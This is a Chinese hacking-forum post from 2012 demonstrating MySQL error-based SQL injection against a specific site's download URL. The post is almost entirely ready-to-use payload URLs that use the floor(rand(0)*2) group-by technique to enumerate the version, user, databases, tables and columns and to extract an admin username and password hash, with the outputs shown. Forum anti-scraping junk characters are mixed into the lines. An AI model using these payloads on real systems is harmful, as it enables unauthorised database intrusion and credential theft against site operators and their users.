找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2183|回复: 0
打印 上一主题 下一主题

php+mysql高级爆错注入经测算有效

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:52:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
http://www.wooyun.org/bugs/wooyun-2010-01666: M% \9 }0 v2 R) B/ S8 [

" h$ Z( m8 w: ^2 N之前想找个测试 没想到这有 可以测试下做个记录而已 8 }3 }, C2 y4 s6 `6 z% c
  U) F5 g( v+ l6 _; K
http://xxoo/download/downpage/netarea/id/1600003'+and+(select+1+from(select+count(*),concat(0x7c,(select+(Select+version())+from+information_schema.tables+limit+0,1),0x7c,floor(rand(0)*2))x+from+information_schema.tables+group+by+x+limit+0,1)a)%23/wapc/5000_0005_003$ }7 J0 q+ l" ?$ n( M

+ [% [: @2 F: q$ G8 [# [/data0/htdocs/leqi_new/app/myapp.php
* u. H3 K, P/ d$ [& d' p( F" d1 y' \: A3 m. l  x# n
或者$ V! Y" [# P5 I* c' g3 W. k. S
# i5 b+ o$ F* d) y& N) n8 C: O, D
/**********version()**********/ 5.1.49-log1 j7 |. I4 e3 C* S( Y
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0032 I7 W. l: z7 K: H

. h% m$ w/ e& m' W# L: z7 W3 i/**********user()**********/  $ s* ~0 \0 z; T) ]( Q3 V* x
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
1 A. Q1 |2 _8 s
- m- ~+ N& u+ r: M, F/**********database()**********/  leqi. T7 C% l* F6 p2 J, Q  }9 |" W4 `
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+database()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
5 g. W( X' C) P& N9 q) l  j3 _; r# x+ V& e! _( K$ C
/**********limit依次递归爆库**********/* |2 l8 i' P1 N! g1 L
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003# y/ X  o9 I/ D
information_schema
6 C3 c1 }& x! w, k0 X) Shttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_003
* b, j# R4 L: |) ~* n5 O$ gleqi, N" _) \6 r) X0 J: _# |
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+schema_name+from+information_schema.schemata+limit+2,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0036 O% |$ m& g- A! \0 Y7 ~6 k/ ]
test
+ w, y# B. x) V$ m4 |" k! q4 r( F9 @8 g1 L0 Q
/**********limit依次递归爆表名**********/6 ^) ]7 Q6 y# D, @
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+table_name+from+information_schema.tables+where+table_schema=0x6C657169+limit+200,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0039 Q$ y; e* X! ?. B7 I( [; P3 h
users
0 J; G4 A8 ?. V; G+ u( U6 R1 ]' ]
/**********limit依次递归爆字段名**********/0 Y2 A  R, |9 ?
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+column_name+from+information_schema.columns+where+table_schema=0x6C657169+and+table_name=0x7573657273+limit+3,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23/wapc/5000_0005_0031 f% `! x' `* t% y( L
user_id,username,nickname,passwd,group_id
& A6 A( q) v2 y: {8 Ahttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+group_id+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%232 W4 Q6 `' v5 w1 v
/wapc/5000_0005_0038 `4 T! [5 j: n$ @" L7 n! k
11 210 |7 Q7 _  w" K  [0 f
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+user_id+from+users+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
! ~8 ?; l/ J$ M. _/wapc/5000_0005_003
$ v* D1 v+ o) r" S1 \11 341 351 361
: ]' F/ [/ U7 b2 _& z: N! v8 P6 h/**********爆数据**********/6 h3 f; Q0 @* T# N* ?1 U
http:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+username+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23; u- m( S$ |+ c! u
admin
  e' A. @& `( e2 Y9 d0 nhttp:///download/downpage/netarea/id/1600003'+or+1=(select+1+from+(select+count(*),concat((SELECT+passwd+from+users+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)%23
  o! ^8 t- {& }% j3 p- j7 r2 D6a8b4574ca231eb8bd52764d4978ffcd
' p( h, _! L$ \) T
3 H- U$ N1 ~+ Q  A" S% {
& _' I, g0 s1 r2 N) h* K3 ?" M* _
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表